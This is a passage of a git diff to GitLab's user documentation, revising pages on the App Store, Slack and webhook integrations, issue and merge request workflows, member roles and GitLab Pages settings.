used with other build tools as well. + +## Prerequisites + +An Apple ID enrolled in the [Apple Developer Program](https://developer.apple.com/programs/enroll/) is required to enable this integration. + +## Configure GitLab + +GitLab supports enabling the Apple App Store integration at the project level. Complete these steps in GitLab: + +1. In the Apple App Store Connect portal, generate a new private key for your project by following [these instructions](https://developer.apple.com/documentation/appstoreconnectapi/creating_api_keys_for_app_store_connect_api). +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Integrations**. +1. Select **Apple App Store**. +1. Turn on the **Active** toggle under **Enable Integration**. +1. Provide the Apple App Store Connect configuration information: + - **Issuer ID**: The Apple App Store Connect Issuer ID can be found in the *Keys* section under *Users and Access* the Apple App Store Connect portal. + - **Key ID**: The Key ID of the new private key that was just generated. + - **Private Key**: The Private Key that was just generated. Note: you are only be able to download this key one time. + +1. Select **Save changes**. + +After the Apple App Store integration is activated: + +- The global variables `$APP_STORE_CONNECT_API_KEY_ISSUER_ID`, `$APP_STORE_CONNECT_API_KEY_KEY_ID`, and `$APP_STORE_CONNECT_API_KEY_KEY` are created for CI/CD use. +- `$APP_STORE_CONNECT_API_KEY_KEY` contains the Base64 encoded Private Key. + +## Security considerations + +### CI/CD variable security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables, including +`$APP_STORE_CONNECT_API_KEY_KEY`, and send them to a third-party server. For more details, see +[CI/CD variable security](../../../ci/variables/index.md#cicd-variable-security). + +## fastlane Example + +Because this integration works out of the box with fastlane adding the code below to an app's `fastlane/Fastfile` activates the integration, and create the connection for any interactions with the Apple App Store uploading a Test Flight or public App Store release. + +```ruby +app_store_connect_api_key( + is_key_content_base64: true +) +``` diff --git a/doc/user/project/integrations/harbor.md b/doc/user/project/integrations/harbor.md index 259b91fc1c7..d75f10e0e11 100644 --- a/doc/user/project/integrations/harbor.md +++ b/doc/user/project/integrations/harbor.md @@ -19,7 +19,7 @@ This integration can help you if you need GitLab CI/CD and a container image rep In the Harbor instance, ensure that: - The project to be integrated has been created. -- The signed-in user has permission to pull, push, and edit images in the Harbor project. +- The authenticated user has permission to pull, push, and edit images in the Harbor project. ## Configure GitLab diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index 9bafa9734e2..dfa5a4593d8 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -107,7 +107,7 @@ can use only one: [Cluster precedence](../../instance/clusters/index.md#cluster-precedence). - If you have managed Prometheus applications installed on multiple Kubernetes clusters at the **same** level, the Prometheus application of a cluster with a - matching [environment scope](../../../ci/environments/index.md#scope-environments-with-specs) is used. + matching [environment scope](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) is used. ## Determining the performance impact of a merge diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md index 2ded5799c23..5c1006b9044 100644 --- a/doc/user/project/integrations/slack.md +++ b/doc/user/project/integrations/slack.md @@ -59,6 +59,7 @@ The following triggers are available for Slack notifications: |--------------------------------------------------------------------------|------------------------------------------------------| | **Push** | A push to the repository. | | **Issue** | An issue is created, updated, or closed. | +| **Incident** | An incident is created, updated, or closed. | | **Confidential issue** | A confidential issue is created, updated, or closed. | | **Merge request** | A merge request is created, updated, or merged. | | **Note** | A comment is added. | diff --git a/doc/user/project/integrations/webhook_events.md b/doc/user/project/integrations/webhook_events.md index 63282d6ec6e..0f462ad41b0 100644 --- a/doc/user/project/integrations/webhook_events.md +++ b/doc/user/project/integrations/webhook_events.md @@ -1019,7 +1019,7 @@ Payload example: ``` NOTE: -The fields `assignee_id`, `state`, `merge_status` are [deprecated](../../../api/merge_requests.md). +The fields `assignee_id` and `merge_status` are [deprecated](../../../api/merge_requests.md). ## Wiki page events @@ -1362,15 +1362,6 @@ Payload example: ## Job events -- Number of retries [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/382046) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) - named `job_webhook_retries_count`. Disabled by default. - -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named -`job_webhook_retries_count`. -On GitLab.com, this feature is not available. - Job events are triggered when the status of a job changes. The `commit.id` in the payload is the ID of the pipeline, not the ID of the commit. @@ -1403,7 +1394,7 @@ Payload example: "build_duration": null, "build_allow_failure": false, "build_failure_reason": "script_failure", - "retries_count": 2, // 2 indicates this is the 2nd retry of this job + "retries_count": 2, // the second retry of this job "pipeline_id": 2366, "project_id": 380, "project_name": "gitlab-org/gitlab-test", @@ -1415,6 +1406,7 @@ Payload example: }, "commit": { "id": 2366, + "name": "Build pipeline", "sha": "2293ada6b400935a1378653304eaf6221e0fdb8f", "message": "test\n", "author_name": "User", @@ -1447,6 +1439,26 @@ Payload example: } ``` +### Number of retries + +> `retries_count` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/382046) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `job_webhook_retries_count`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, +ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named +`job_webhook_retries_count`. +On GitLab.com, this feature is not available. + +`retries_count` is an integer that indicates if the job is a retry. `0` means that the job +has not been retried. `1` means that it's the first retry. + +### Pipeline name + +> `commit.name` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107963) in GitLab 15.8. + +You can set custom names for pipelines with [`workflow:name`](../../../ci/yaml/index.md#workflowname). +If the pipeline has a name, that name is the value of `commit.name`. + ## Deployment events Deployment events are triggered when a deployment: diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index ea90dda88f6..a5399b70c8f 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -351,6 +351,13 @@ Alternatively, you can use the `/promote` [quick action](../quick_actions.md#iss Read more about [promoting an issues to epics](../../group/epics/manage_epics.md#promote-an-issue-to-an-epic). +## Promote an issue to an incident + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296787) in GitLab 14.5. +> - Quick actions to set issue type as incident upon creation [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/376760) in GitLab 15.8. + +You can use the `/promote_to_incident` [quick action](../quick_actions.md) to promote the issue to an [incident](../../../operations/incident_management/incidents.md). + ## Add an issue to an iteration **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in GitLab 13.2. @@ -404,7 +411,8 @@ GitLab displays the results on-screen, but you can also ### Filter with the OR operator -> OR filtering for author and assignee was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. +> - OR filtering for author and assignee was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. +> - OR filtering for label was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. FLAG: On self-managed GitLab, by default this feature is not available. @@ -412,7 +420,11 @@ To make it available, ask an administrator to [enable the feature flag](../../.. The feature is not ready for production use. When this feature is enabled, you can use the OR operator (**is one of: `||`**) -when you [filter the list of issues](#filter-the-list-of-issues). +when you [filter the list of issues](#filter-the-list-of-issues) by: + +- Assignees +- Author +- Labels `is one of` represents an inclusive OR. For example, if you filter by `Assignee is one of Sidney Jones` and `Assignee is one of Zhang Wei`, GitLab shows issues where either `Sidney`, `Zhang`, or both of them are assignees. diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md index bb72ab0052d..f9e3f1b9225 100644 --- a/doc/user/project/labels.md +++ b/doc/user/project/labels.md @@ -390,7 +390,7 @@ For a video explanation, see: See the video: <a href="https://www.youtube.com/watch?v=4BCBby6du3c">Use scoped labels for custom fields and custom workflows</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/4BCBby6du3c" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/4BCBby6du3c" frameborder="0" allowfullscreen> </iframe> </figure> ### Nested scopes diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index a7627f12657..0b0184db14c 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -62,6 +62,12 @@ To add a user to a project: 1. Enter an email address and select a [role](../../permissions.md). 1. Optional. Select an **Access expiration date**. From that date onward, the user can no longer access the project. + + WARNING: + If you give a member the Maintainer role and select an expiration date, that member + has full permissions for the time they are in the role. This includes the ability + to extend their own time in the Maintainer role. + 1. Select **Invite**. If the user has a GitLab account, they are added to the members list. @@ -97,6 +103,9 @@ Each user's access is based on: - The role they're assigned in the group. - The maximum role you choose when you invite the group. +If a user has a group role with fewer permissions than the maximum project role, the user keeps the permissions of their group role. +For example, if you add a user with the Guest role to a project with a maximum role of Maintainer, the user has only the permissions of the Guest role. + Prerequisites: - You must have the Maintainer or Owner role. diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index b9887212be0..d1ee42f723d 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -16,8 +16,16 @@ with `Group 1`, so that both members of `Group 1` and `Group 2` have access to t When a project is shared with a group: - All group members, including members of subgroups or projects that belong to the group, -are assigned the same role in the project. -Each member's role is displayed in **Project information > Members > Max role**. + are assigned the same role in the project. + Each member's role is displayed in **Project information > Members**, in the **Max role** column. + When sharing a project with a group, a user's assigned **Max role** is the lowest + of either: + + - The role assigned in the group membership. + - The maximum role selected when sharing the project with the group. + + Assigning a higher maximum role to the group doesn't give group users higher roles than + the roles already assigned to them in the group. - The group is listed in the **Groups** tab. - The project is listed on the group dashboard. @@ -28,7 +36,7 @@ Be aware of the restrictions that apply when you share projects with: ## Share projects with groups with a more restrictive visibility level -You can share projects only down the group's organization structure. +You can share projects only down the group's organization structure. This means you can share a project with a group that has a more restrictive [visibility level](../../public_access.md#project-and-group-visibility) than the project, but not with a group that has a less restrictive visibility level. @@ -78,8 +86,4 @@ To share a project with a group: ## Prevent project sharing -You can prevent members of a group from -[sharing a project with another group](../members/share_project_with_groups.md). -This restriction allows for tighter control over project access. - For more information, see [Prevent a project from being shared with groups](../../group/access_and_permissions.md#prevent-a-project-from-being-shared-with-groups). diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md index 5f81db10cf4..51f7254bfda 100644 --- a/doc/user/project/merge_requests/approvals/rules.md +++ b/doc/user/project/merge_requests/approvals/rules.md @@ -36,6 +36,10 @@ To add a merge request approval rule: 1. In the **Merge request approvals** section, scroll to **Approval rules**. 1. Select **Add approval rule**. 1. Add a human-readable **Rule name**. +1. Select a **Target branch**: + - To apply the rule to all branches, select **All branches**. + - To apply the rule to all protected branches, select **All protected branches** (GitLab 15.3 and later). + - To apply the rule to a specific branch, select it from the list. 1. Set the number of required approvals in **Approvals required**. A value of `0` makes [the rule optional](#configure-optional-approval-rules), and any number greater than `0` creates a required rule. @@ -221,8 +225,7 @@ appreciated, but not required. To make an approval rule optional: ## Approvals for protected branches -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/460) in GitLab 12.8. -> - **All protected branches** target branch option [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/360930) in GitLab 15.3. +> **All protected branches** target branch option [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/360930) in GitLab 15.3. Approval rules are often relevant only to specific branches, like your [default branch](../../repository/branches/default.md). To configure an @@ -231,8 +234,7 @@ approval rule for certain branches: 1. [Create an approval rule](#add-an-approval-rule). 1. Go to your project and select **Settings > Merge requests**. 1. In the **Merge request approvals** section, scroll to **Approval rules**. -1. Select a **Target branch**: - - To apply the rule to all branches, select **All branches**. +1. For **Target branch**: - To apply the rule to all protected branches, select **All protected branches** (GitLab 15.3 and later). - To apply the rule to a specific branch, select it from the list. diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md index 52944ee3143..280ad20712b 100644 --- a/doc/user/project/merge_requests/authorization_for_merge_requests.md +++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts --- -# Authorization for Merge requests **(FREE)** +# Merge request workflows **(FREE)** There are two main ways to have a merge request flow with GitLab: diff --git a/doc/user/project/merge_requests/changes.md b/doc/user/project/merge_requests/changes.md index f6e02dc0dfe..07ee2ef90c4 100644 --- a/doc/user/project/merge_requests/changes.md +++ b/doc/user/project/merge_requests/changes.md @@ -140,6 +140,7 @@ Files marked as viewed are not shown to you again unless either: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484) in GitLab 13.5 [with a flag](../../../administration/feature_flags.md) named `display_merge_conflicts_in_diff`. Disabled by default. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/276918) in GitLab 15.7. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/276918) in GitLab 15.8. Feature flag `display_merge_conflicts_in_diff` removed. To avoid displaying the changes that are already on target branch in the diff, we compare the merge request's source branch with HEAD of the target branch. diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index eae4db2d4f7..542edc11c44 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -29,7 +29,54 @@ be associated with a given target branch at a time. ## From an issue -You can [create a merge request from an issue](../repository/web_editor.md#create-a-new-branch-from-an-issue). +> The **Create merge request** button [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) to open the merge request creation form in GitLab 14.8. + +If your development workflow requires an issue for every merge +request, you can create a branch directly from the issue to speed the process up. +The new branch, and later its merge request, are marked as related to this issue. +After merging the merge request, the issue is closed automatically, unless [automatic issue closing is disabled](../issues/managing_issues.md#disable-automatic-issue-closing). +You can see a **Create merge request** dropdown below the issue description. + +NOTE: +In GitLab 14.8 and later, selecting **Create merge request** +[redirects to the merge request creation form](https://gitlab.com/gitlab-org/gitlab/-/issues/349566) +instead of immediately creating the merge request. + +The **Create merge request** button doesn't display if: + +- A branch with the same name already exists. +- A merge request already exists for this branch. +- Your project has an active fork relationship. +- Your project is private and the issue is confidential. + +To make this button appear, one possible workaround is to +[remove your project's fork relationship](../settings/index.md#remove-a-fork-relationship). +After removal, the fork relationship cannot be restored. This project can no longer +be able to receive or send merge requests to the source project, or other forks. + +This dropdown contains the options **Create merge request and branch** and **Create branch**. + +After selecting one of these options, a new branch or branch and merge request +is created based on your project's [default branch](../repository/branches/default.md). +The branch name is based on an internal ID, and the issue title. The example +screenshot above creates a branch named +`2-make-static-site-auto-deploy-and-serve`. + +When you select the **Create branch** button in an empty +repository project, GitLab performs these actions: + +- Creates a default branch. +- Commits a blank `README.md` file to it. +- Creates and redirects you to a new branch based on the issue title. +- _If your project is [configured with a deployment service](../integrations/index.md) like Kubernetes,_ + GitLab prompts you to set up [auto deploy](../../../topics/autodevops/stages.md#auto-deploy) + by helping you create a `.gitlab-ci.yml` file. + +After the branch is created, you can edit files in the repository to fix +the issue. When a merge request is created based on the newly-created branch, +the description field displays the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically) +`Closes #ID`, where `ID` is the ID of the issue. This closes the issue when the +merge request is merged. ## When you add, edit, or upload a file diff --git a/doc/user/project/merge_requests/dependencies.md b/doc/user/project/merge_requests/dependencies.md index d0b0ead6b87..231c1dda5b7 100644 --- a/doc/user/project/merge_requests/dependencies.md +++ b/doc/user/project/merge_requests/dependencies.md @@ -145,6 +145,11 @@ information, read [issue #12549](https://gitlab.com/gitlab-org/gitlab/-/issues/1 ### Complex merge order dependencies are unsupported +If you attempt to create an indirect, nested dependency, GitLab shows one of these error messages: + +- Dependencies failed to save: Blocked merge request cannot block others +- Dependencies failed to save: Blocking merge request cannot itself be blocked + GitLab supports direct dependencies between merge requests, but does not support [indirect (nested) dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/11393). diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index 427ab9606e8..58750cdf5bc 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -42,10 +42,6 @@ before concluding your work and merging the merge request. You can watch our [GitLab Flow video](https://www.youtube.com/watch?v=InKNIvky2KE) for a quick overview of working with merge requests. -## How to create a merge request - -Learn the various ways to [create a merge request](creating_merge_requests.md). - ## What you can do with merge requests When you start a new merge request, you can immediately include the following @@ -112,7 +108,7 @@ To create a merge request to close an issue when it's merged, you can either: choose any name, and GitLab verifies that it's not already in use. The merge request inherits the milestone and labels of the issue, and is set to automatically close the issue when it is merged. - - Create a [new branch](../repository/web_editor.md#create-a-new-branch-from-an-issue) + - Create a [new branch](creating_merge_requests.md#from-an-issue) only, with its name starting with the issue number. If the issue is [confidential](../issues/confidential_issues.md), diff --git a/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png b/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png Binary files differdeleted file mode 100644 index 8d47fdc2652..00000000000 --- a/doc/user/project/merge_requests/img/filter_approved_by_merge_requests_v14_6.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png b/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png Binary files differdeleted file mode 100644 index 58950031378..00000000000 --- a/doc/user/project/merge_requests/img/filter_approver_merge_requests_v14_6.png +++ /dev/null diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index 8309b04758a..21651fd645c 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -19,6 +19,10 @@ Merge requests include: Read more about [how to get started](getting_started.md). +## Create a merge request + +Learn the various ways to [create a merge request](creating_merge_requests.md). + ## View merge requests You can view merge requests for your project, group, or yourself. @@ -63,56 +67,36 @@ or: ## Filter the list of merge requests +> - Filtering by `approved-by` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0. +> - Filtering by `reviewer` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47605) in GitLab 13.7. +> - Filtering by potential approvers was moved to GitLab Premium in 13.9. +> - Filtering by `approved-by` moved to GitLab Premium in 13.9. + To filter the list of merge requests: 1. Above the list of merge requests, select **Search or filter results...**. -1. In the dropdown list that appears, select the attribute you wish to filter by. +1. From the dropdown list, select the attribute you wish to filter by. Some examples: + - [**By environment or deployment date**](#filter-merge-requests-by-environment-or-deployment-date). + - **ID**: Enter filter `#30` to return only merge request 30. + - User filters: Type (or select from the dropdown list) any of these filters to display a list of users: + - **Approved-By**, for merge requests already approved by a user. **(PREMIUM)**. + - **Approver**, for merge requests that this user is eligible to approve. + (For more information, read about [Code owners](../code_owners.md)). **(PREMIUM)** + - **Reviewer**, for merge requests reviewed by this user. 1. Select or type the operator to use for filtering the attribute. The following operators are available: - `=`: Is - - `!=`: Is not ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18059) in GitLab 12.7) + - `!=`: Is not 1. Enter the text to filter the attribute by. You can filter some attributes by **None** or **Any**. 1. Repeat this process to filter by multiple attributes. Multiple attributes are joined by a logical `AND`. +1. Select a **Sort direction**, either **{sort-lowest}** for descending order, + or **{sort-highest}** for ascending order. GitLab displays the results on-screen, but you can also [retrieve them as an RSS feed](../../search/index.md#retrieve-search-results-as-feed). -### Filter merge requests by ID - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/39908) in GitLab 12.1. - -You can filter the **Merge Request** list to find merge requests by their ID. - -For example, enter filter `#30` to return only merge request 30. - -### Filter merge requests by approvers **(PREMIUM)** - -> Moved to GitLab Premium in 13.9. - -To filter merge requests by an individual eligible approver ([Code owner](../code_owners.md)), you can type (or select from -the dropdown list) **Approver** and select the user. - - - -### Filter merge requests by "approved by" **(PREMIUM)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0. -> - Moved to GitLab Premium in 13.9. - -To filter merge requests already approved by a specific individual, you can type (or select from -the dropdown list) **Approved-By** and select the user. - - - -### Filter merge requests by reviewer - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47605) in GitLab 13.7. - -To filter review requested merge requests for a specific individual, you can type (or select from -the dropdown list) **Reviewer** and select the user. - ### Filter merge requests by environment or deployment date > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44041) in GitLab 13.6. diff --git a/doc/user/project/merge_requests/methods/index.md b/doc/user/project/merge_requests/methods/index.md index 249a98f1779..b1d07a740bf 100644 --- a/doc/user/project/merge_requests/methods/index.md +++ b/doc/user/project/merge_requests/methods/index.md @@ -180,9 +180,9 @@ When a fast-forward merge is not possible, the user is given the option to rebas [Rebasing in (semi-)linear merge methods](#rebasing-in-semi-linear-merge-methods). NOTE: -Projects using the fast-forward merge strategy can't filter merge requests -[by deployment date](../index.md#filter-merge-requests-by-environment-or-deployment-date), -because no merge commit is created. +Projects that use the fast-forward merge strategy can't +[filter merge requests](../index.md#filter-the-list-of-merge-requests) +by deployment date, because no merge commit is created. When you visit the merge request page with `Fast-forward merge` method selected, you can accept it **only if a fast-forward merge is possible**. diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md index 74c3b3e24b6..2894b71e7e6 100644 --- a/doc/user/project/merge_requests/status_checks.md +++ b/doc/user/project/merge_requests/status_checks.md @@ -31,15 +31,16 @@ see the [external status checks epic](https://gitlab.com/groups/gitlab-org/-/epi ## Block merges of merge requests unless all status checks have passed -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. Disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. Disabled by default. +> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/372340) in GitLab 15.8. FLAG: On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to -[enable the feature flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. On GitLab.com, this feature is not available. +[enable the feature flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. On GitLab.com, this feature is available but can be configured by GitLab.com administrators only. By default, merge requests in projects can be merged even if external status checks fail. To block the merging of merge requests when external checks fail, enable this feature using the [project API](../../../api/projects.md#edit-project). You must also [enable the feature flag](../../../administration/feature_flags.md) named -`only_allow_merge_if_all_status_checks_passed`. +`only_allow_merge_if_all_status_checks_passed` on self-managed GitLab. ## Lifecycle @@ -151,12 +152,18 @@ the status check and it **will not** be recoverable. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327634) in GitLab 14.1. > - UI [updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91504) in GitLab 15.2. +> - Ability to retry failed external status checks [added](https://gitlab.com/gitlab-org/gitlab/-/issues/383200) in GitLab 15.8. The status checks widget displays in merge requests and displays the following statuses: - **pending** (**{status-neutral}**), while GitLab waits for a response from an external status check. - **success** (**{status-success}**) or **failed** (**{status-failed}**), when GitLab receives a response from an external status check. +To retry a failed status check: + +1. Expand the merge request widget to show the list of external status checks. +1. Select **Retry** (**{retry}**) on the failed external status check row. The status check is put back into a pending state. + An organization might have a policy that does not allow merging merge requests if external status checks do not pass. However, the details in the widget are for informational purposes only. GitLab does not prevent merging of merge requests that fail status checks. diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md index a864a9849b0..120e300da5e 100644 --- a/doc/user/project/merge_requests/versions.md +++ b/doc/user/project/merge_requests/versions.md @@ -64,7 +64,7 @@ branches. The new mode is available from the comparison target drop down by selecting **main (HEAD)**. In GitLab 13.9, it [replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the old default comparison. For technical details, additional information is available in the -[developer documentation](../../../development/diffs.md#merge-request-diffs-against-the-head-of-the-target-branch). +[developer documentation](../../../development/merge_request_concepts/diffs/index.md#merge-request-diffs-against-the-head-of-the-target-branch).  diff --git a/doc/user/project/organize_work_with_projects.md b/doc/user/project/organize_work_with_projects.md new file mode 100644 index 00000000000..0ff354562fd --- /dev/null +++ b/doc/user/project/organize_work_with_projects.md @@ -0,0 +1,33 @@ +--- +stage: Manage +group: Organization +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Organize work with projects **(FREE)** + +In GitLab, you can create projects to host +your codebase. You can also use projects to track issues, plan work, +collaborate on code, and continuously build, test, and use +built-in CI/CD to deploy your app. + +Projects can be available [publicly, internally, or privately](../public_access.md). +GitLab does not limit the number of private projects you can create. + +- [Manage projects](working_with_projects.md) +- [Project visibility](../public_access.md) +- [Project settings](../project/settings/index.md) +- [Project access tokens](../project/settings/project_access_tokens.md) +- [Share projects](../project/members/share_project_with_groups.md) +- [Reserved project and group names](../../user/reserved_names.md) +- [Search](../../user/search/index.md) +- [Badges](../../user/project/badges.md) +- [Code intelligence](../../user/project/code_intelligence.md) +- [Compliance](../../user/compliance/index.md) +- [Description templates](../../user/project/description_templates.md) +- [Deploy keys](../../user/project/deploy_keys/index.md) +- [Deploy tokens](../../user/project/deploy_tokens/index.md) +- [File finder](../../user/project/repository/file_finder.md) +- [GitLab Pages](../../user/project/pages/index.md) +- [Migrating projects](../../user/project/import/index.md) +- [Migrate projects by using file exports](../../user/project/settings/import_export.md) diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md index dc23540bd1b..2f814bb0e65 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md @@ -165,7 +165,8 @@ If you're using Cloudflare, check Once you have added all the DNS records: -1. Go back at your project's **Settings > Pages**. +1. Go back at your project's **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). 1. Locate your domain name and select **Details**. 1. Select the **Retry verification** button to activate your new domain. @@ -287,10 +288,15 @@ meet these requirements. #### Steps - To add the certificate at the time you add a new domain, go to your - project's **Settings > Pages > New Domain**, add the domain name and the certificate. + project's **Settings > Pages > New Domain** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)), add the domain name and the + certificate. - To add the certificate to a domain previously added, go to your project's **Settings > Pages**, locate your domain name, select **Details** and **Edit** to add the certificate. +NOTE: +The Pages menu entry may also be located at **Deployments > Pages**, [more information](../index.md#menu-position-test) + 1. Add the PEM certificate to its corresponding field. 1. If your certificate is missing its intermediate, copy and paste the root certificate (usually available from your CA website) @@ -313,7 +319,8 @@ domain (as long as you've set a valid certificate for it). To enable this setting: -1. Navigate to your project's **Settings > Pages**. +1. Navigate to your project's **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). 1. Tick the checkbox **Force HTTPS (requires valid certificates)**. If you use Cloudflare CDN in front of GitLab Pages, make sure to set the SSL connection setting to diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md index e9e6e5a9a3c..770fb4f450a 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md @@ -42,7 +42,8 @@ For **self-managed** GitLab instances, make sure your administrator has Once you've met the requirements, enable Let's Encrypt integration: -1. Navigate to your project's **Settings > Pages**. +1. Navigate to your project's **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). 1. Find your domain and select **Details**. 1. Select **Edit** in the top-right corner. 1. Enable Let's Encrypt integration by switching **Automatic certificate management using Let's Encrypt**: @@ -69,7 +70,8 @@ associated Pages domain. GitLab also renews it automatically. If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visibility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps: -1. Go to your project's **Settings > Pages**. +1. Go to your project's **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). 1. Select **Edit** on your domain. 1. Select **Retry**. 1. If you're still seeing the same error: @@ -83,7 +85,8 @@ If you get an error **Something went wrong while obtaining the Let's Encrypt cer If you've enabled Let's Encrypt integration, but a certificate is absent after an hour and you see the message, "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later.", try to remove and add the domain for GitLab Pages again by following these steps: -1. Go to your project's **Settings > Pages**. +1. Go to your project's **Settings > Pages** (Note: this may also be + located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). 1. Select 